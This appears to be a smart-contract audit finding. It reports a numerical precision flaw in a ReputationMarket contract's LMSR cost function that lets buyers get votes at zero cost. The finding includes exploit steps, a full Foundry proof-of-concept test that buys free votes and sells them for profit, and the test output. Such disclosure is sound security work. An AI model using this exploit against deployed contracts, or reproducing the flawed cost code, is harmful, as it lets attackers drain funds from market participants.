Docile Lilac Gecko
High
The Logarithmic Market Scoring Rule (LMSR) implementation in the ReputationMarket
contract suffers from a critical numerical precision vulnerability. When there is a significant disparity between trust and distrust votes, the cost calculation for new votes can effectively become zero due to exponential scaling limitations. This allows malicious actors to acquire votes without any cost and potentially extract value from the market through arbitrage.
function _cost(
uint256 yesVotes,
uint256 noVotes,
uint256 liquidityParameter
) public pure returns (uint256 costResult) {
// Compute e^(yes/b) and e^(no/b)
(UD60x18 yesExp, UD60x18 noExp) = _getExponentials(yesVotes, noVotes, liquidityParameter);
// sumExp = e^(yes/b) + e^(no/b)
UD60x18 sumExp = yesExp.add(noExp);
// lnVal = ln(e^(yes/b) + e^(no/b))
//@audit calculating lnVal will be highly dominated by e^(yes/b) and is restricted to UD60x18
UD60x18 lnVal = sumExp.ln();
// Unwrap lnVal and multiply by b (also in UD60x18) to get cost
uint256 lnValUnwrapped = unwrap(lnVal);
costResult = lnValUnwrapped * liquidityParameter;
}
When the market has a large number of one type of vote (e.g., trust votes), the cost calculation for new votes can become zero due to numerical precision limitations. Example: Market (Default):
- Trust Votes: 98,000
- 1 < Distrust Votes < 54,000
- Liquidity Parameter: 1,000
In this case the cost calculation for new votes would be 0. This is due because the exponential values of the trust votes is so large (e^(98,000/1,000) = 3.6e42) which is much larger than the exponential value of the distrust votes (e^(55,000/1,000) = 1.3e24). The sum value for these two will be
- sumExp (yesVotes = 98000, noVotes = 1, b = 1000)= 3637970947608804490426904392488195559575853724111990659261862
- sumExp (yesVotes = 98000, noVotes = 54000, b = 1000)= 3637970947608804491196382919002397262857517847202467732154530 For both condition only the first 18-digit are exactly same but integer values are very different but the natural logarithm value is exactly same:
- lnVal = 97999999999999999992 This will results in the cost calculation being 0.
The vulnerability allows attackers to acquire votes without any cost, potentially leading to stealing value from the market once the votes are acquired.
Exploit Steps:
- Setup Initial Imbalance:
- A user purchases 98,000 trust votes, creating a significant disparity.
- Exploit Zero-Cost Votes:
- Malicious users exploit the zero-cost calculation to acquire distrust votes at no cost.
- Arbitrage Extraction:
- Attacker extracts profit by selling acquired votes.
// SPDX-License-Identifier: MIT
pragma solidity 0.8.26;
import {Test} from "forge-std/Test.sol";
import {console2} from "forge-std/console2.sol";
import {ReputationMarket} from "../src/ReputationMarket.sol";
import {ContractAddressManager} from "../src/utils/ContractAddressManager.sol";
import {EthosProfile} from "../src/EthosProfile.sol";
import {Proxy} from "@openzeppelin/contracts/proxy/Proxy.sol";
contract ProxyTest is Proxy {
address implementation;
constructor(address implementation_) {
implementation = implementation_;
}
function _implementation() internal view override returns (address) {
return implementation;
}
}
contract ReputationMarketExploitTest is Test {
ContractAddressManager contractAddressManager;
ProxyTest proxyReputationMarket;
ProxyTest proxyEthosProfile;
address owner = makeAddr("owner");
address admin = makeAddr("admin");
address signatureVerifier = makeAddr("signatureVerifier");
address marketCreator = makeAddr("marketCreator");
// Attack addresses
address trustBuyingUser = makeAddr("trustBuyingUser");
address untrustBuyingUser = makeAddr("untrustBuyingUser");
address attacker = makeAddr("attacker");
uint256 constant MARKET_ID = 2;
uint256 constant LIQUIDITY_PARAMETER = 1000;
uint256 constant BASE_PRICE = 0.01 ether;
function setUp() public {
console2.log("=== Setting up Test Environment ===");
vm.startPrank(owner);
// Deploy contracts
ReputationMarket market = new ReputationMarket();
EthosProfile ethosProfile = new EthosProfile();
contractAddressManager = new ContractAddressManager();
proxyReputationMarket = new ProxyTest(address(market));
proxyEthosProfile = new ProxyTest(address(ethosProfile));
// Initialize Market
(bool success, ) = address(proxyReputationMarket).call(
abi.encodeWithSignature(
"initialize(address,address,address,address,address)",
owner,
admin,
address(market),
signatureVerifier,
address(contractAddressManager)
)
);
require(success, "Market initialization failed");
// Initialize Profile
(success, ) = address(proxyEthosProfile).call(
abi.encodeWithSignature(
"initialize(address,address,address,address,address)",
owner,
admin,
address(ethosProfile),
signatureVerifier,
address(contractAddressManager)
)
);
require(success, "Profile initialization failed");
// Setup contract addresses
address[] memory contractAddresses = new address[](1);
string[] memory names = new string[](1);
contractAddresses[0] = address(proxyEthosProfile);
names[0] = "ETHOS_PROFILE";
contractAddressManager.updateContractAddressesForNames(contractAddresses, names);
// Invite market creator
(success, ) = address(proxyEthosProfile).call(
abi.encodeWithSignature("inviteAddress(address)", marketCreator)
);
vm.stopPrank();
// Create profile for market creator
vm.startPrank(marketCreator);
(success, ) = address(proxyEthosProfile).call(
abi.encodeWithSignature("createProfile(uint256)", 1)
);
vm.stopPrank();
// Allow market creation
vm.prank(admin);
(success, ) = address(proxyReputationMarket).call(
abi.encodeWithSignature("setUserAllowedToCreateMarket(uint256,bool)", MARKET_ID, true)
);
// Create market
vm.startPrank(marketCreator);
deal(marketCreator, 0.2 ether);
(success, ) = address(proxyReputationMarket).call{value: 0.2 ether}(
abi.encodeWithSignature("createMarket()")
);
vm.stopPrank();
console2.log("Market created with:");
console2.log("- Liquidity Parameter:", LIQUIDITY_PARAMETER);
console2.log("- Base Price:", BASE_PRICE);
console2.log("- Initial Balance:", address(proxyReputationMarket).balance);
}
function test_LMSRExploit() public {
console2.log("\n=== Starting Exploit Test ===");
// 1: First untrustBuyingUser creates large imbalance with trust votes
console2.log("\n1: Creating vote imbalance");
uint256 largeVoteAmount = 98_000;
vm.startPrank(trustBuyingUser);
deal(trustBuyingUser, 975 ether);
// Log pre-purchase simulation
(bool success, bytes memory data) = address(proxyReputationMarket).call(
abi.encodeWithSignature("simulateBuy(uint256,bool,uint256)", MARKET_ID, true, largeVoteAmount)
);
require(success, "Simulation failed");
(
uint256 cost,
uint256 protocolFee,
uint256 donation,
uint256 total,
uint256 price
) = abi.decode(data, (uint256, uint256, uint256, uint256, uint256));
console2.log("Large vote purchase simulation:");
console2.log("- Base Cost:", cost);
console2.log("- Protocol Fee:", protocolFee);
console2.log("- Total Cost:", total);
console2.log("- New Vote Price:", price);
// Execute large vote purchase
(success, ) = address(proxyReputationMarket).call{value: 975 ether}(
abi.encodeWithSignature("buyVotes(uint256,bool,uint256,uint256)", MARKET_ID, true, largeVoteAmount, 0)
);
require(success, "Large vote purchase failed");
// Log market state after large purchase
(, data) = address(proxyReputationMarket).call(
abi.encodeWithSignature("getMarket(uint256)", MARKET_ID)
);
(ReputationMarket.MarketInfo memory marketInfo) = abi.decode(data, (ReputationMarket.MarketInfo));
console2.log("\nMarket state after large difference in votes:");
console2.log("- Trust Votes:", marketInfo.trustVotes);
console2.log("- Distrust Votes:", marketInfo.distrustVotes);
vm.stopPrank();
// 2: Second untrustBuyingUser exploits zero-cost votes
console2.log("\n2: Exploiting zero-cost votes");
uint256 exploitVoteAmount = 55_000;
// Simulate exploit purchase
(, data) = address(proxyReputationMarket).call(
abi.encodeWithSignature("simulateBuy(uint256,bool,uint256)", MARKET_ID, false, exploitVoteAmount)
);
(
uint256 exploitCost,
,
,
uint256 exploitTotal,
) = abi.decode(data, (uint256, uint256, uint256, uint256, uint256));
console2.log("Exploit vote(Distrust) simulation:");
console2.log("- Expected Cost:", exploitCost);
console2.log("- Total Cost:", exploitTotal);
// Execute exploit purchase
vm.startPrank(attacker);
deal(attacker, 0.1 ether);
(success, ) = address(proxyReputationMarket).call{value: 0.1 ether}(
abi.encodeWithSignature("buyVotes(uint256,bool,uint256,uint256)", MARKET_ID, false, exploitVoteAmount, 0)
);
require(success, "Exploit purchase failed");
// Log attacker balance and market state
console2.log("\nExploit results:");
console2.log("- attacker remaining balance:", address(attacker).balance);
(, data) = address(proxyReputationMarket).call(
abi.encodeWithSignature("getMarket(uint256)", MARKET_ID)
);
(marketInfo) = abi.decode(data, (ReputationMarket.MarketInfo));
console2.log("- Final Trust Votes:", marketInfo.trustVotes);
console2.log("- Final Distrust Votes:", marketInfo.distrustVotes);
vm.stopPrank();
// 3: Demonstrate profit through sell after untrust votes have been purchased
console2.log("\n3: Demonstrating profit after untrust votes have been purchased");
vm.startPrank(untrustBuyingUser);
deal(untrustBuyingUser, 7 ether);
// Buy votes at zero cost
(success, ) = address(proxyReputationMarket).call{value: 7 ether}(
abi.encodeWithSignature("buyVotes(uint256,bool,uint256,uint256)", MARKET_ID, false, 43_000, 0)
);
require(success, "Untrust votes purchase failed");
// Sell votes for profit
vm.startPrank(attacker);
uint256 balanceBefore = address(attacker).balance;
(success, ) = address(proxyReputationMarket).call(
abi.encodeWithSignature("sellVotes(uint256,bool,uint256,uint256)", MARKET_ID, false, 43_000, 0)
);
require(success, "Untrust votes sell failed");
uint256 profit = address(attacker).balance - balanceBefore;
console2.log("After selling results:");
console2.log("- Profit made:", profit);
console2.log("- Final untrustBuyingUser balance:", address(attacker).balance);
assertTrue(profit > 0, "Arbitrage should generate profit");
assertGt(address(attacker).balance, 7 ether, "Should profit more than initial investment");
}
}
Output of the test:
=== Setting up Test Environment ===
Market created with:
- Liquidity Parameter: 1000
- Base Price: 10000000000000000
- Initial Balance: 200000000000000000
=== Starting Exploit Test ===
Step 1: Creating vote imbalance
Large vote purchase simulation:
- Base Cost: 973068528194400546900
- Protocol Fee: 0
- Total Cost: 973068528194400546900
- New Vote Price: 9999999999999999
Market state after large difference in votes:
- Trust Votes: 98001
- Distrust Votes: 1
Step 2: Exploiting zero-cost votes
Exploit vote(Distrust) simulation:
- Expected Cost: 0
- Total Cost: 0
Exploit results:
- attacker remaining balance: 100000000000000000
- Final Trust Votes: 98001
- Final Distrust Votes: 55001
Step 3: Demonstrating profit after untrust votes have been purchased
After selling results:
- Profit made: 6931471805599453090
- Final untrustBuyingUser balance: 7031471805599453090
From this output, we can see that the attacker was able to exploit the zero-cost votes and make a profit of 6.93 ether
by selling the untrust votes afterwards which were purchased at zero cost.